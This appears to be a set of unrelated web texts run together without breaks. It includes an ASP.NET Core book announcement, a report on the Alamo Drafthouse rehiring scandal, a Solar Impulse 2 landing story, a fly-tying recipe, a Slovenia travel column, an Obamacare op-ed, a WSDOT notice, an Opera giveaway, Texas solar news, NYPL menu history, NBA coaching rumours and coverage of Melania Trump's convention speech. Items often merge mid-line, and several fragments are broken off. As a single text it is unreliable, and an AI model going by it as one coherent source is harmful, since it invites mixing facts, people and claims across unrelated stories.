As the release date for ASP.NET Core 2.0 approached, I wanted to create something to give back to the community and help folks learn about this awesome web framework. I didn’t have the time to write a full 400 page technical monster, so I decided to write a short introductory book instead.
Go forth and learn!
The Little ASP.NET Core Book was born in a single caffeine-fueled weekend, followed by many short bursts of editing. My hope is that it helps you learn something new.
The book lives on Github and is licensed under the Creative Commons Attribution license. As always, please share your feedback and critiques.Alamo Drafthouse CEO Tim League issued a lengthy apology on Friday for his handling of a scandal stemming from the revelation that he had quietly rehired Devin Faraci, former editor-in-chief of Drafthouse-owned movie site Birth.Movies.Death, who resigned last year after being accused of sexual assault. But one former employee isn’t having it.
Todd Brown, who resigned as director of international programming for the Drafthouse-owned science fiction and horror festival Fantastic Fest earlier this week over the news of Faraci’s rehiring, wrote a lengthy reply to League’s apology calling it disingenuous and an attempt at “self-preservation.”
Faraci resigned in Oct., 2016 after being accused of sexual assault a decade earlier by a woman who has publicly disclosed her first name, Caroline. But following initial reports that Faraci had been rehired, it came out that a second woman, Vancouver-based journalist Kat Arnett, had reached out to League shortly after Faraci’s resignation to report that he had sexually harassed and bullied her.
Arnett made public League’s reply, in which he said he was trying to “move forward with the BMD brand,” asked Arnett to keep the accusation private, and ended with a blithe “cheers,” deepening what was already a severe crisis for the Drafthouse organization. League announced on Wednesday that Drafthouse and Faraci had “permanently” parted ways, but this did little to quell growing outrage. League’s Friday apology was his third attempt to respond to the scandal.
Also Read: Alamo Drafthouse CEO Apologizes as Fantastic Fest Fallout Mounts Over Disgraced Former Employee
“I am not impressed by the instinct for self-preservation,” Brown said in his statement Saturday. “The only concern – literally, the ONLY concern – expressed by League in his apology is for himself and his company.”
Brown’s statement emphasizes that the apology doesn’t address the women who accused Faraci, noting “four essential elements missing from Tim League’s apology for this whole debacle”:
“‘I should not have harbored the man who assaulted you.’ ‘I should not have harbored the man who harassed you.’ ‘I should not have asked you to keep silent.’ ‘I should not have kept my actions a secret.'”
Also Read: 'Three Billboards Outside Ebbing, Missouri' Cancels Fantastic Fest Screening
Brown claims League never really shows any regret except for his own loss.
“I stated when I stepped away that I felt embarrassed and ashamed,” he concluded. “That has only deepened.”
Shortly after Midnight Tuesday, Brown resigned from his post at the festival, saying he “had no advance knowledge of this decision nor knowledge that Devin was contributing to the program guide.”
Brown said he was blindsided by Faraci’s continued involvement at the Austin, Texas-based company.
Also Read: Alamo Drafthouse to Hold Lightsaber Vigils in Honor of Carrie Fisher
League’s apology, posted to his public Facebook page on Friday, reads in part: “Over the past few days, I’ve realized that decisions I have made over these past months have been problematic. I am concerned about what these choices may say about me and the values of this company to employees, customers and the community at large. I’m humbled and deeply sorry.”
Read Brown’s full Facebook post below:
“Here are four essential elements missing from Tim League’s apology for this whole debacle: ‘I should not have harbored the man who assaulted you.’ ‘I should not have harbored the man who harassed you.’ ‘I should not have asked you to keep silent.’ ‘I should not have kept my actions a secret.’ When I stepped down from Fantastic Fest I stated that the omissions in Tim’s acknowledgment that he had quietly re-hired Devin Faraci were a key reason for doing so. And it is what is omitted, again, that are the key reasons for my utter rejection of his apology. Caroline and Kat – and others like them who have chosen to speak anonymously for fear of reprisal – are actual people. Real, actual people who had real, actual harm done to them. And yet they are completely and totally absent from this. Instead, what do we get? Three days after acknowledging Faraci was back on payroll – three days spent with crisis teams and publicists – we get ‘I am concerned about what these choices may say about me and the values of this company to employees, customers and the community at large.’ It is no great feat to feel concern for your own public image. I am not impressed by the instinct for self preservation. I am, however, utterly appalled by the absolute silence directed to Caroline and Kat and the actual, real, tangible harm done to these actual, real, tangible women. The only concern – literally, the ONLY concern – expressed by League in his apology is for himself and his company. The vision is completely inward. The perpetrator is once again cast as the victim. And once again, yes, the Club is called upon to form its protective circle with the actual victims very firmly on the outside. I know that my continuing to talk about this places friends and former colleagues at Fantastic Fest in an incredibly difficult position. I know that I am damaging friendships and relationships that go back over a decade and I know that, for some, this damage will be irreparable. I know that the timing is shit. But I did not choose this timing. And while I regret losing those of you who I will inevitably lose … well, fuck. What else am I supposed to do? I stated when I stepped away that I felt embarrassed and ashamed. That has only deepened.”Andre Borschberg speaks at a press conference after the Solar Impulse 2 landed in Abu Dhabi with Bertrand Piccard at this side. Also pictured: Dr Sultan Al Jaber, chairman of Masdar, and Doris Leuthard, Vice President of Switzerland. Naser Al Wasmi / The National
Prince Albert of Monaco sits beside Bertrand Piccard and Andre Borschberg at a press conference following the Solar Impulse landing in Abu Dhabi. Naser Al Wasmi / The National
The Solar Impulse plane is checked over by the team as it sits in the hangar in Al Bateen Airport in Abu Dhabi. Naser Al Wasmi / The National
ABU DHABI // A dream that started 17 years ago was fulfilled when Solar Impulse 2 landed at 4am on Tuesday in Abu Dhabi, after flying around the world without a single drop of fuel.
Solar Impulse completed its circumnavigation using only solar energy after what proved to be the one of the journey’s most difficult legs, as pilot Bertrand Piccard had to battle turbulence throughout the flight.
Mr Piccard arrived back in Abu Dhabi, where Solar Impulse started in March last year, after taking off from Cairo on Sunday and flying for about 48 hours. With co-pilot Andre Borschberg, he has flown more than 40,000 kilometres and for more than 500 hours during 16 legs of the Masdar-sponsored journey.
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History is made
■ A call for action as Solar Impulse touches down in Abu Dhabi
■ Sheikh Mohammed bin Zayed hails Solar Impulse as ‘a new beginning’
■ Emirati Solar Impulse team member reflects on historic journey
■ Solar Impulse 2 touches down in Abu Dhabi completing zero-fuel circumnavigation - in pictures
■ Solar Impulse pilots’ emotional return to Abu Dhabi as dream is realised
■ Solar Impulse 2 completes zero-fuel journey around the world - graphic
■ Solar Impulse 2 lands in Abu Dhabi - video
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“This was a life-long journey for me. This was a moment that I dreamt about and that I wanted to share with everyone in a message that the future is clean,” Mr Piccard said.
Along the way, the Swiss duo broke eight records, and the landing in Abu Dhabi was put in the books as the ninth – the first round-the-world flight using zero fossil fuels and only the power of the Sun.
On Monday, Masdar chief executive spoke to Mr Piccard, telling him that Sheikh Mohammed bin Zayed, Crown Prince of Abu Dhabi and Deputy Supreme Commander of the Armed Forces, “has been following up on all steps taken since the departure of Solar Impulse from Abu Dhabi, and he sends you his best regards and welcomes you back to Abu Dhabi”.
The return to Abu Dhabi proved to be one of the most difficult flights, Mr Piccard said. Aside from not sleeping, Mr Piccard had to stabilise the plane at less-than-ideal situations throughout the flight. At one point, the pilot responded to a request to increase the speed, saying “for your information, I am still on the toilet”.
To calm his nerves, the team held a small concert with violinist Zhang Zhang performing live in the mission control room in Monaco, and broadcasted it live to the pilot.
However, the flight was more emotional than it was difficult, Mr Piccard said. He addressed the team directly to expressed his gratitude.
“I thank you so much for having trusted me in something that was completely crazy,” he said.
“You are always with me in the cockpit. You chose adventure, you chose exploration, you chose to do something amazing, and I thank you so much.
“In the beginning, I did not know if it was a good idea. I think it became a great idea, thanks to you, and thanks for all the people who came with me.”
Mr Borschberg also addressed his colleague during the flight.
“I think you will spend the next hours thinking about the flight, all the human moments and all the energy we have,” he said. “I think you will enjoy it.”
Mr Piccard reflected on the significance of the solar aircraft.
“I can look at the four motors, I can see them energised on nothing but the Sun,” he said moments before landing. “I look at it and it is like science fiction, it is like magic, but this is the reality and the future.”
After landing, Mr Piccard made his rounds hugging the members of his teamaat Al Bateen Executive Airport as the Solar Impulse was pulled into the makeshift hangar for the last time.
nalwasmi@thenational.aeTied by: Robert Frandsen
Originated by: Bill Edson
Hook: Mustad 94720 #2
Thread: White 8/0
Body: Silver flat tinsel the a thin strand of pale blue tinsel along each side of the body
Rib: Silver oval tinsel
Belly: White bucktail
Throat: Red hackle fibers
W |
SPCA officials said.
Suffolk County Humane Investigator Jennifer Pape, along with two Smithtown animal control officers, Cherie Stevens and Deborah Buzzard, and Steven from Smithtown Highway Department responded to the scene. They all worked together to help rescue the ducklings.
After the ducklings were reunited with their mother, they were all transported to the Nissequogue River.As a travel writer there are some countries that I just cannot help going back to. One of my favourites is Slovenia, a bijou ‘Europe in Miniature’ that boasts Alpine peaks and lakes, world class food, superb wines, a slice of Mediterranean coastline, not to mention one of Europe’s most engaging capitals.
I’ve just been back again and I’d like to share why I rate the country so highly with you. My love affair with Slovenia began way back in the early 1990s. I was writing about the brutal war in Croatia, but crossed into neighbouring Slovenia too, which had just broken free of the shackles of Yugoslavia to become Mitteleuropa’s youngest country.
I returned a number of times and then wrote one of the earliest English language guidebooks to Slovenia for Bradt back in 2004. The same year I also authored the first guidebook to the capital of Ljubljana and ever since I’ve been writing monthly updates on Ljubljana for easyJet’s magazine.
I appropriately this time flew into Ljubljana, an airport that now handles flights from all over Europe. I was met at the airport by a friend from my early days in Slovenia, Vesna Tisler. She summed up the positivity of this great wee country: “Back then we were just waking up to Europe, but today we’re proud to be very much part of European family of nations and enjoy our lives.’’
I was here in Ljubljana back in 2004 when Slovenia joined the EU and I remember the sheer excitement on the streets. Slovenia for me lies at the heart of Europe. Geographically she sits between Italy, Croatia, Austria and Hungary. The Slovenian capital’s architecture is also like a greatest hits of European architecture with art nouveau, medieval, baroque and socialist retro styles all starring.
I love that Ljubljana is a city that since independence in 1991 has bent over backwards to put its citizens and visitors first. Traffic has pretty much been banned from the chocolate box pretty city centre and the old town across the Ljubljanica River. This leaves the core of Ljubljana as a pedestrian oasis where kids can whirl around and adults can stroll without a care.
A major change for me over the years has been the rise of the city’s restaurants. On the first night of my visit this time I popped in for dinner with an old friend, Janez Bratovž, at his renowned JB restaurant. Bratovž was very much ahead of the curve with his experimental, but still taste-led, cooking and it’s no surprise to me JB was once voted amongst the world’s 50 best restaurants.
I was glad to see another fine dining retreat, Strelec, up at the landmark Ljubljana Castle is no longer just trading off its epic city and mountain views. Their innovative recreation of Slovenian dishes this time was nothing short of miraculous.
The same could be said of newcomer Monstera Bistro. The young chef here, Bine Volčič, was a judge on Slovenia’s version of Masterchef and he has created a relaxed, informal bistro that utilises ultra fresh local ingredients to the max. Like most places to eat and drink in Slovenia it offers great value too.
Pushing on from Ljubljana the old slogan the tourist office used to use sang around my head as the Kamnik-Savinja Alps rose up to greet me on my trip north to Logarska Dolina. It read ‘Slovenia – The Sunny Side of the Alps’, brilliantly summing up some of the best of what the country offers.
In Logarska Dolina I had lunch with the lovely family behind Vila Plesnik (www.plesnik.si). They were delighted when I showed them the front cover of my Bradt guide as it featured the view from the terrace we were having coffee on! It is a jaw-dropping vista with otherworldly peaks soaring up from a lush Alpine meadow, a view up there with anything the Swiss or Austrian Alps can offer.
My next stop was again in the mountains, but this time further west in the Julian Alps, basically an extension of the Alps proper. These paper maiche-like mountains are remarkable and look their best at Lake Bled, a picturesque glacial lake with a castle overlooking it and a wee island with a church dramatically set in the lake. I was based on this picture postcard lake at the Vila Bled (www.brdo.si/en/vila-bled).
I felt in grand company here at Vila Bled as Marshal Tito once entertained everyone from Nikita Khrushchev to Indira Gandhi at this lavish 1950s retreat. I savoured dinner with their ghosts on the terrace.
The next morning I got up early to hike four miles around the lake –highly recommended – before a dip from the private lakeside terrace at Vila Bled. I then took one of the free rowing boats that they lay on. It was a sublime experience eking out in the morning mists towards the wee island where an impossibly romantic little church rears up its head. Non-guests can also hire a rowing boat and head out to explore.
As my trip neared its end I took a scenic drive south through the remarkable Soča Valley, the rugged mountain netherworld that was the scene of horrific fighting in World War One. Ernest Hemingway was wounded here as he drove an ambulance. I took time to stop off at the Kobarid War Museum. It’s well worth a stop and for me is one of the most engaging and moving war museums on the planet.
The Soča Valley is rated for its restaurants these days too and indeed local chef Ana Roš has just been voted the world’s best female chef. Sadly her restaurant was closed on the Monday I visited and her new wee informal bar alternative was a week away from opening. I’ll be back to check both out and suggest you do too.
After a truly breathtaking day-long drive I made it to the coast, to the Adriatic, my favourite sea in the world after the Sea of the Hebrides. It rippled out before me, shimmering in a slivery glow with Italy in the distance to one flank and Croatia rearing up on the other. I was firmly, though, in Slovenia and was lucky enough to be staying at the palatial Kempinski Palace Portorož (www.kempinski.com).
I enjoyed dinner on the terrace at the Kempinski, sampling superb local produce such as Adriatic prawns and Istrian truffles. I also savoured superb local wines, a feature of my trip to Slovenia yet again. This wee country dishes up some first rate wines that are finally becoming renowned around the world. I was pleased to see a Pinot Grigio from Tilia, a tiny wee family-run winery I first visited back in 2004, who are now up there with the big boys.
I spent my last day on the coast’s most picturesque town, Piran, This Venetian-era gem sports a vaulting campanile – the locals reckon you can see Venice from here on a good day – and a fairytale pretty old town. I enjoyed a seafood feast for next to nothing at an old favourite, Trattoria Ivo, before taking a dip in the Adriatic.
I peered across the water towards the more famous coast of Italy and in the other direction at the new tourist star of Croatia. I was thoroughly content to be right here in Slovenia, though, one of Europe’s rare tourist secrets. The tourist office’s current slogan is ‘I Feel Slovenia’. I certainly feel the love and thoroughly recommend you take a trip here soon.
Factfile
Ljubljana tourist office – www.visitljubljana.com
Slovenia tourist office – www.slovenia.info
easyJet (www.easyjet.com) fly to Ljubljana from London Stansted and Gatwick, with connections from various Scottish cities.
Hotel of the Fortnight
Scotland boasts myriad magical hotels, but there is something even more magical about escaping to a hotel that sits on its own wee private island. That is exactly what the Isle of Eriska Hotel, Spa & Island in Argyll does. I’ve been lucky enough over the years to stay a few times, most recently with my wee girls who loved that our spacious cottage came with its own outdoor hot tub. Eriska offers a big slice of real luxury and is ideal for a very special occasion. Amongst its charms are a Michelin star restaurant, spa and a swimming pool. I love just walking around the grounds soaking up the loch and mountain views on what is a very special wee island. www.eriska-hotel.co.uk
Travel Tip
Edinburgh boasts a lot of fancy restaurants these days and while some of them are truly world-class, others are a tad pricey for what they actually offer. One that strikes a delicious good value middle ground is the Stockbridge Restaurant down in the eponymous district. They offer refined dining, but service is relaxed and the decor not overdone. You can have a proper chat here without feeling you have to whisper. The fresh, local Scottish produce that chef proprietor Jason Gallagher sources is superb and it’s great to see a menu with rabbit on it in Scotland. If you can snatch a coveted table during Festival time grab it! www.thestockbridgerestaurant.co.ukAn ominous and largely ignored outcome of Obamacare’s failed launch is that the large insurers have not signed up to offer health plans on the state exchanges.
The nation’s big insurers have mainly sat out of the program, even after a reported browbeating from the White House.
The reason is simple. Offering plans on the exchanges is a bad business deal.
This past week the White House took some additional steps to make that market even worse for big insurers (on top of the problems with the web site). The Obama team seems to be going out of its way to squeeze the insurers. These measures make sure that 2015 will be an even more dismal experience for Obamacare than 2014.
It’s already off to a bad start.
As I noted recently in the New York Post and on Forbes.com, Obamacare regulations force insurers to either be all in, or all out of a particular state exchange.
A survey of 36 federally run exchanges (plus six state exchanges where data was available) found that Aetna [NYSE:AET] was offering health plans in just eight states and was even more selective in the counties where they chose to play. In Florida, for example, Aetna was only operating plans in 23 of the state’s 67 regions.
Cigna [NYSE:CI] only entered five states. United Healthcare [NYSE:UNH] (the nation’s largest insurer) entered just 12.
Humana only went into 14 states. In Colorado it’s offering plans in just 2 of 11 regions and in Florida, just 12 of the 67 state regions.
The result? According to one recent analysis, just one or two insurance carriers are serving exchanges in more than half of the country’s 2,500 counties.
The problem is that the law was tilted against the health plans at its inception. These challenges are being magnified by the Obama team’s present day decisions that will discourage plans that sat out of the market in 2014 from entering in 2015.
One such ruling, made last week, will allow third parties (like drug companies and hospitals) to subsidize the cost of health plan premiums.
The decision was laid out in a letter sent by the Department of Health and Human Services to Representative McDermott (D-WA) indicating that the Obama team does not consider qualified health plans purchased through insurance exchanges to be “federal healthcare programs.” This includes plans purchased through state and federal exchanges, as well as plans for which consumers receive advance payments of premium tax credits and cost-sharing reductions.
This means that exchange plans are not subject to federal anti-kickback rules. So manufacturers can offer direct support to exchange enrollees. Most interpreted this to mean that drug companies can provide financial assistance to help offset drug co-pays. But the impact of the decision probably extends much further.
Drug companies, for example, can probably help offset the costs of plan premiums, under the ruling, and not just the costs of individual drugs. Simiularly, hospitals could help subsidize the cost of buying health coverage for a local population of uninsured individuals who are frequently admitted to their institutions. This would reduce the hospital’s bad debt (from unpaid bills) by getting these chronically ill individuals into insurance schemes. Even if these local residents were very sick, so long as they are young and poor, then purchasing entry-level coverage for them could cost very little (owing to premium subsidies and favorable age-based rating).
This ruling is clearly good for some consumers. It’s also good for the President. The decision will encourage the use of private-market subsidies to help more people purchase coverage (boosting the dismal enrollment numbers). The Obama team is trying to stuff as many people into the exchanges, as quickly as possible. Once these exchanges grow big enough, they become politically inevitable.
Even when a bare bones "bronze" plan saddles a lower-income beneficiary with hefty cost-sharing (that could go unpaid), to a local hospital, the covered portion of the hospital stay will still be worth the negligible cost of purchasing the plan for the consumer.
But you can see how the decision could spell trouble for health plans, which are already worried about adverse selection of a mostly older, sicker population of patients into the exchanges as a consequence of Obamacare’s failed launch.
Hospitals and drug makers aren’t going to subsidize the purchase of healthcare for the healthy beneficiaries that insurers need in order to make these new exchanges viable. These entities are going to cherry pick the sickest consumers, and help to pay for their coverage.
Drug makers want to find patients who will use expensive medicines. Hospitals want to find local residents who are uninsured but are being frequently admitted to the hospital for chronic and costly conditions.
As one Wall Street analyst noted this week, “premium outlays would be small relative to the potential uncompensated care cost burden borne by health care providers on behalf of these heavy users of the health care system.”
This single decision could do a lot more than the botched web site to help make sure that the pool of consumers who enter Obamacare are a sick and costly population.
The Obama team is set to unload other challenges onto the insurers.
The White House has to make a decision about how it will apportion cuts to the cost-sharing subsidies that are a consequence of sequester. The White House has strongly hinted that it will force the insurance companies to absorb these cuts. The general refrain is that the Obama team was waiting until after an October 31st deadline, when health plans could still pull out of the exchanges for a “material breach” of their contracts. Expect the White House to announce this soon.
It’s looking more inevitable that Obamacare will remain a niche market, and become mostly a high-risk pool. It will provide coverage to lower-income families who earn too much to qualify for Medicaid and will benefit most from the exchanges subsidies. The exchanges will also benefit consumers with chronic medical conditions who have an reason to put up with the exchange’s comparatively high premiums. They will buy more comprehensive “Gold” or “Platinum” coverage rather than “Bronze” plans that are likely to sold much more cheaply outside the exchange risk pools.
Consumers who are younger or largely healthy will gravitate to the risk pools outside the exchanges, and to the cheap bronze plans. They will end up with policies that are more costly (and less generous) than the plans many of them currently enjoy. But for families of four earning more than about $60,000 in annual income (and individuals earning more than about $30,000) these bronze policies sold outside the exchanges will be cheaper than the pricey risk pools in the exchanges, (even without the benefit of the subsidies that they could get under Obamacare).
As I noted in Forbes, by staying completely outside the exchanges, insurers will be able to create a separate risk pool, and price premiums to these lower costs.
The Obama team is spinning the lack of participation by the big insurers as natural business caution during a new program’s initial year.
But the launch of Medicare Part D didn’t face similar woes. The pundits said that the problem with Part D’s launch was too many plans initially entering the market, not too few (creating confusion for consumers). Rest assured, the Obama White House spent a lot of time trying to coerce the big insurers to enter more state exchanges.
The insurers sat out because it makes better business sense for them to be completely outside the exchanges, rather than in them – even just a little.
The failed launch of Obamacare meant that the initial pool of applicants this year was likely to be older and sicker than what the insurers had envisioned. The Obama team’s subsequent decisions seem to be squeezing the health plans still further.
Nobody should feel overly sorry for the nation’s big insurers. So far, they’ve been able to pass most of their new costs to consumers. They also made a Faustian bargain in supporting Obamcare’s passage in the first place (on the premise that it would boost their business) only to find that the Obama team was a bad partner. Their early and obsequious support now looks naïve.
The fiery speech that President Obama gave in Boston’s Faneuil Hall last week, reprising some of the same anti-insurance-industry demagoguery that he used in the run-up to passage of Obamacare, is likely to be standard fare going forward.
The insurers can expect to catch the blame at each “glitch.” The administration broke the marketplace, and now the insurers will get to own it.
But the fact remains that they are being squeezed, and their pain will be our pain. Obamacare is a failed marketplace. But its breakdown will affect all of us.
The law was designed to distribute its costs across the entire healthcare sector. That’s exactly what’s unfolding. Whether you have Obamacare, or can keep your private coverage, your costs will rise, and your choice of providers will narrow.
You can follow Dr. Scott Gottlieb on Twitter @ScottGottliebMDRichard Warren, planning studies manager, 206-464-1261
WSDOT seeking input on 20-year plan by Nov. 6
OLYMPIA – Washingtonians have an opportunity to provide input into the future of the state’s transportation system through the Washington Transportation Plan, Phase 2 – Implementation. The plan establishes how the state can prepare itself for an uncertain future in the face of climate change and advances in technology.
The Washington State Department of Transportation is seeking public comments on the plan from now through Nov. 6, 2017.
The plan builds on WTP Phase 1, which established a 20-year vision for the statewide multimodal transportation system. Phase 1 highlighted emerging trends and challenges facing the state’s transportation system and developed recommendations for meeting those challenges.
WTP Phase 2 implements recommendations from Phase 1 through four focus areas and 11 action items to achieve the 20-year vision established in Phase 1. It also establishes how the state can prepare itself for four plausible, but uncertain futures regarding climate change and technology and their potential impacts on the statewide transportation system. Through its proposed recommendations, Phase 2 will guide decision makers on major issues facing the statewide transportation system.
How to comment on the plan
The comment period closes on Nov. 6, 2017. Copies of the plan and a comment form for submitting feedback are available:|
Today, we are giving away a couple of cool T-shirts, Pens, Stickers and Phone/Card necklaces from Opera Software!
5 lucky winners will receive:
T-Shirt (Black or Red)
Opera Software Pen
Laptop Sticker
Necklace
Rules
All you have to do is retweet this post, as simple as that.
Winners will be announced next Friday, so there is a plenty of time to do that. As retweets are scrambled, it does not really matter, whether you will be the first or last one to tweet.
Want more goodies?
Opera Software Cheese Slicer (yes, you read it right), more shirts, pens, necklaces, 2GB USB key and sticky notes?
Ask and answer questions at ask.favbrowser.com, receive points and redeem them for all those prizes!
P.S. You get 100 points just for registration.
Thanks a lot to Opera Software and Espen André Øverdahl for all the goodies.Solar power can play a role in aiding Texas’ strained electric grid, industry officials and regulators said Tuesday at a meeting devoted to solar power in San Antonio.
“Solar will help ERCOT, will help in our resource adequacy challenge,” Public Utility Commissioner Rolando Pablos of San Antonio said at the conference, which was convened by the nonprofit Solar San Antonio. He was referring to the peak-time pressures on the Texas power grid, when power demand threatens to exceed supply.
Currently only a tiny fraction of Texas’ power comes from the sun, and the state ranks well behind California and other sunny states in development of the resource. The main downsides of solar power are that it is expensive (despite recent solar-panel price drops) and intermittent, because it does not produce power at night.
Solar advocates argue that the sun’s rays offer an emissions-free electricity source that revs up just when Texas needs power the most — for example, the late summer afternoons when air conditioners are running full-blast. Solar panels also require little water, aside from being washed once or twice a year — a key advantage in the drought-prone state.
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Texas possesses about 14 percent of the nation’s solar-power potential, according to Emily Duncan, the manager of government affairs for the Solar Energy Industries Association, who added that 255 solar companies are based in the state.
Texas lawmakers have been reluctant to offer incentives for solar: a proposal for a renewable energy mandate aimed at nonwind sources and another for a rebate for solar power died in the Legislature last year.
But Pablos noted that the Public Utility Commission has undertaken some measures, with direction from the Legislature, to aid solar power. One example is the construction of nearly $7 billion in transmission lines to ferry power from West Texas to points east. The lines, known as Competitive Renewable Energy Zones, or CREZ, are built mostly to move wind power, but because West Texas is sunny as well as windy, electricity generated form the sun can in theory move along those lines, too. The commission has also made it easier for solar-leasing models to take root in Texas, Pablos said — a “very important” move, said Russel Smith, the executive director of the Texas Renewable Energy Industries Association.
Duncan, of the solar trade group, said that the solar industry backs the PUC’s recent moves to raise a cap on wholesale prices on the Texas electric market. Solar produces a large amount of power at peak times, when wholesale power prices often shoot up, so it can potentially benefit considerably from the move.
Pablos said that in the near term, the most important type of solar developments for Texas was large-scale installations, such as concentrating solar reflectors, as opposed to smaller, rooftop-size solar panel installations. Such large-scale solar, he said, is “the fastest way to ramp up.”
The big concentrating solar projects can be built in about six months — far faster than the five years or so that a fossil fuel power plant may need, according to another speaker, Chris Eugster, the chief sustainability officer for the San Antonio utility CPS Energy. (However, one large-scale solar project proposed for West Texas stalled a few years ago.)
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CPS is seen as a national leader in solar power, and recently signed an agreement to buy 400 megawatts of power from future Texas solar arrays. By 2020, solar is projected to provide about 2 percent of San Antonio’s power, according to Chris Eugster, the chief sustainability officer with CPS — as opposed to 0.03 percent in 2010.
Texas Tribune donors or members may be quoted or mentioned in our stories, or may be the subject of them. For a complete list of contributors, click here.Collection History
The menu collection originated through the energetic efforts of Miss Frank E. Buttolph (1850-1924), a somewhat mysterious and passionate figure, whose mission in life was to collect menus. In 1899, she offered to donate her existing collection to the Library -- and to keep collecting on the Library's behalf. Presciently, director Dr. John Shaw Billings accepted her offer and for the next quarter century Miss Buttolph continued to add to the collection. Her principal method of acquisition was to write to every restaurant she could think of, soliciting menus. When letters failed, she often marched into a restaurant and pleaded her case in person. She also placed advertisements in trade publications like The Caterer and The Hotel Gazette, but just as often, published news of her collection prompted outright contributions of specimens from around the world. Three times between 1904 and 1909, The New York Times wrote about her and the collection, noting once that "she frankly avers that she does not care two pins for the food lists on her menus, but their historic interest means everything." Miss Buttolph added to the collection of more than 25,000 menus until her death in 1924. The collection has continued to grow through additional gifts of graphic, gastronomic, topical or sociological interest, especially but not exclusively New York-related.
NOTE: Some menus could not be imaged in their entirety due to their configuration (e.g. tied with ribbon or cord, stapled, etc.), their brittle paper, and/or their overall fragility.
Related Resources
Alejandro, Reynaldo. Classic Menu Design, from the Collection of the New York Public Library. (1988)
Greenstein, Lou. A la carte: A Tour Of Dining History. (c1992)
Heimann, Jim. May I Take Your Order?: American Menu Design, 1920-1960. (c1998)
NYPL. "The Menu Collection of The New York Public Library." (c2003) <http://www.nypl.org/research/chss/grd/resguides/menus/index.html>
Ryley, Alison. "Miss Frank's Menus." American Book Collector v. 7 (November 1986)Even if Knicks president Phil Jackson lusted after free agent Frank Vogel, the Zen Master could still be singing the Memphis blues.
The Grizzlies have emerged as the likeliest destination for Vogel, with Memphis’ Commercial Appeal reporting he is at the top of their list. Vogel and Memphis general manager Chris Wallace worked together for five seasons with the Celtics. Vogel was the video coordinator/assistant coach before leaving in 2004.
The Grizzlies have reached out to Vogel’s reps, according to The Vertical. The Rockets have interest, too. Knicks GM Steve Mills contacted Vogel’s reps Friday and Jackson is mulling the next step at his Montana vacation home — with Kurt Rambis still regarded as the front-runner.
The Grizzlies may interview Vogel at the Chicago draft combine that starts late this week. Jackson had attended the Chicago camp the past two years, though he doesn’t have a first- or second-round pick this June.
The former Pacers coach, fired Thursday, is a hot commodity. The Kings may have hired Vogel too, if their No. 1 choice, Dave Joerger, didn’t pan out. Joerger accepted the Sacramento job on Monday. It’s possible Memphis was eager to let Joerger walk, knowing Vogel had become available.
“He’s just a great guy — one of the better people you’ll meet in the sports world,’’ said Chris Copeland, the ex-Knick who played two seasons for Vogel in Indiana. “A good coach and personable.”
Carmelo Anthony recently said he’s looking for a coach who understands matters from a player’s perspective — and Vogel gets top grades in that area.
Vogel — and former Cavs coach David Blatt — would seem a good fit for the Knicks despite not having a lot of triangle experience. Vogel is from Wildwood, NJ. His relatives always attend Pacers games at the Garden. He has deep respect for Jackson, worked on his Lakers staff as advance scout in 2005-06 and hired Jackson disciple Brian Shaw as one of his assistants with the Pacers, saying he wanted to be around the Zen Master’s aura.
According to an NBA source, the Knicks made contact with Vogel’s reps last week to gauge his interest and they got the green light.
However, the Vogel-Wallace match could prove too strong even if Jackson goes all in. The Grizzlies use a plodding, low-post offense with Marc Gasol and Zach Randolph that Vogel preferred in Indiana when he featured center Roy Hibbert.
And Memphis is also coming off six straight playoff berths while the Knicks have missed the playoffs three straight years.
Vogel has been in no hurry, getting over the disappointment of not getting a chance to finish the job in Indiana after taking the Pacers to five playoff appearances in six years and making the Eastern Conference finals twice (2012, 2013). He’s reportedly spending early this week evaluating his job options.
Blatt reportedly had his interview with the Rockets on Monday. He also has sat down with the Knicks and Kings.
While San Antonio GM R.C. Buford won Executive of the Year, Jackson didn’t get a single vote. Fourteen of the 30 executives got at least one third-place vote, including the Sixers’ Sam Hinkie and Milwaukee’s John Hammond. The voting is done by the team GMs/presidents.
Wallace was reportedly spotted at a Memphis restaurant Monday night with ex-Nets and Grizzlies coach Lionel Hollins, who lives there.× Trump staffer takes blame for Melania’s speech
CLEVELAND — A speechwriter for the Donald Trump campaign has taken responsibility for Melania Trump’s much talked about speech.
Meredith Melver said she offered her resignation but Trump refused to accept it.
In a statement, Melver said Melania Trump has always admired Michelle Obama and read her some passages from Mrs. Obama’s 2008 speech as examples of what she wanted to say.
“I wrote them down and later included some of the phrasing in the draft that ultimately the final speech. I did not check Mrs. Obama’s speeches. This was my mistake, and I feel terrible for the chaos I have caused Melania and the Trumps, as well as to Mrs. Obama. No harm was meant.”
Melver said she offered her resignation but Donald Trump but he refused, “Mr. Trump told me that people make innocent mistakes and that we learn and grow from these experiences.”
The controversy quickly overshadowed the speech, which was to have been her introduction to voters. It focused on her immigration to the US and her love for her husband.
Side-by-side comparisons of the transcripts show some text in Trump’s address following, nearly to the word, the first lady’s own from the first night of the Democratic convention in Denver nearly eight years ago.
“The media is spending more time doing a forensic analysis of Melania’s speech than the FBI spent on Hillary’s emails,” Trump said in a tweet.
Here is Melania Trump, on Monday:
“From a young age, my parents impressed on me the values that you work hard for what you want in life, that your word is your bond and you do what you say and keep your promise, that you treat people with respect. They taught and showed me values and morals in their daily lives. That is a lesson that I continue to pass along to our son,” Trump said.
And we need to pass those lessons on to the many generations to follow. Because we want our children in this nation to know that the only limit to your achievements is the strength of your dreams and your willingness to work for them.”
And here is Obama, on August 25, 2008:
“And Barack and I were raised with so many of the same values: that you work hard for what you want in life; that your word is your bond and you do what you say you’re going to do; that you treat people with dignity and respect, even if you don’t know them, and even if you don’t agree with them.
And Barack and I set out to build lives guided by these values, and to pass them on to the next generation. Because we want our children — and all children in this nation — to know that the only limit to the height of your achievements is the reach of your dreams and your willingness to work for them.”
The reaction:
“(To be honest), I was more offended by just about every other speech than Melania’s plagiarized paragraphs,” former Obama speechwriter Jon Favreau jokingly tweeted as the accusations went viral hours after Trump’s address.
Jarrett Hill seems to have been one of the first to notice the similarities on Twitter.
He’s a big fan of the Obamas, and told CNN over the phone that one particular line from Michelle Obama’s 2008 speech really spoke to him: “To know that the only limit to the height of your achievements is the reach of your dreams and your willingness to work for them.”
When he heard Melania Trump start saying “the only limit to your achievements,” he knew something was wrong.By David Jacobson and Ross Stein, Temblor
Citation: Jacobson D., Stein R.S., 2016, 14 November 2016 Mw=7.8 New Zealand earthquake shows an uncanny resemblance to the 2015 Nepal shock, Temblor, http://doi.org/10.32858/temblor.004
